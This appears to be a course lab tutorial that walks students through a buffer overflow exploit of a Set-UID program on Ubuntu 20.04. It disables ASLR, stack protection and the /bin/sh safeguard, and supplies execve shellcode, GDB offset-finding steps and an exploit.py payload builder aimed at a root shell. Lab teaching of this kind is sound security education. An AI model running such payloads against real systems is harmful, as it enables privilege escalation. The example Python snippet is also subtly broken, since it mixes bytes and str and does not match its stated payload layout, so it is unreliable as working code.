Programming lesson
Buffer Overflow Exploitation Lab: A Step-by-Step Guide for CSCI 180
Learn how to exploit a buffer overflow vulnerability in a Set-UID program on Ubuntu 20.04. This tutorial covers disabling ASLR, StackGuard, and non-executable stack, crafting shellcode, and debugging with GDB to find the return address offset.
Introduction to Buffer Overflow Exploitation
Buffer overflow attacks remain one of the most fundamental and dangerous exploit techniques in computer security. In this CSCI 180 lab, you will gain hands-on experience exploiting a buffer overflow vulnerability in a root-owned Set-UID program on Ubuntu 20.04. By disabling common countermeasures like Address Space Layout Randomization (ASLR), StackGuard, and the non-executable stack, you can inject shellcode that spawns a root shell. This tutorial mirrors real-world attack scenarios and prepares you for advanced topics in ethical hacking and penetration testing.
Step 1: Disabling Security Countermeasures
Modern operating systems and compilers implement several defenses to make buffer overflow attacks difficult. To replicate a vulnerable environment, you must disable them.
Disable ASLR
ASLR randomizes memory addresses, making it hard to predict the location of your shellcode. Disable it temporarily with:
sudo sysctl -w kernel.randomize_va_space=0Verify the setting:
sysctl -a --pattern randomizeA value of 0 means randomization is off. Remember, this change is lost after reboot.
Disable StackGuard and Make Stack Executable
Compile the vulnerable program with:
gcc -m32 -z execstack -fno-stack-protector -o unsafe unsafe.cThe -fno-stack-protector flag disables StackGuard, and -z execstack makes the stack executable, allowing injected code to run.
Switch Shell to /bin/zsh
Ubuntu 20.04’s /bin/sh has a countermeasure that prevents it from running in a Set-UID process. Link it to /bin/zsh:
sudo rm /bin/sh
sudo ln -s /bin/zsh /bin/shCheck with ls -la /bin/sh; it should show /bin/zsh.
Step 2: Understanding the Shellcode
A shellcode is a small piece of code that launches a shell. The provided shellcodetest.c contains a bytecode array that executes /bin/sh. Compile and run it to verify:
gcc -m32 -z execstack -o shellcodetest shellcodetest.c
./shellcodetestYou should see a shell prompt ($). If not, check your compilation flags.
Step 3: Analyzing the Vulnerable Program
The unsafe.c program reads from inputfile into a small buffer using strcpy(), which does not check bounds. This allows you to overwrite the return address and redirect execution to your shellcode.
Stack Frame Diagram
Assume copyfunc() is called from foofunc(). The stack (from high to low address) contains:
- foofunc stack frame: local variables, saved EBP, return address to main
- copyfunc stack frame: local buffer (BUFFSIZE bytes), saved EBP, return address to foofunc
When copyfunc() runs, the buffer is at the lowest address, followed by saved EBP, then the return address. Overflowing the buffer overwrites these values.
Step 4: Crafting the Exploit
You will complete exploit.py to generate inputfile. The payload consists of three parts:
- NOP sled (0x90 bytes) to increase the chance of landing in the shellcode
- Shellcode (the bytecode from shellcodetest.c)
- Return address pointing to the middle of the NOP sled
Finding the Offset and Return Address
Use GDB to debug unsafe:
gdb ./unsafe
break copyfunc
run
info frameNote the address of the buffer (e.g., 0xffffd2b0) and the saved return address location. The offset is the distance from the buffer start to the return address. For example, if buffer is at 0xffffd2b0 and return address is at 0xffffd2ec, the offset is 0x3c (60 bytes).
Completing exploit.py
Your script should:
- Set
shellcodevariable to the bytecode array fromshellcodetest.c - Set
retvariable to the buffer address plus an offset (e.g.,0xffffd2b0 + 0x10) - Construct
contentas:NOP sled + shellcode + padding + ret
Example snippet:
shellcode = (
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
)
ret = 0xffffd2c0 # address in NOP sled
padding = 0x3c - len(shellcode)
content = b'\x90' * padding + shellcode + ret.to_bytes(4, 'little')Step 5: Running the Exploit
Generate the input file:
python3 exploit.pyThen run the vulnerable program:
./unsafeIf successful, you’ll get a root shell (#). Verify with id command. Your effective UID should be 0.
Troubleshooting Common Issues
- Permission denied: Run
chmod +x exploit.py. - Segmentation fault: Adjust the return address or increase NOP sled size.
- No shell spawned: Ensure
/bin/shis linked to/bin/zshand ASLR is off.
Conclusion
This buffer overflow exercise demonstrates how disabling security mechanisms can leave a system vulnerable. Understanding these techniques is crucial for both offensive security (penetration testing) and defensive programming. As AI-driven code analysis tools become more common, manual exploit development remains a vital skill for cybersecurity professionals.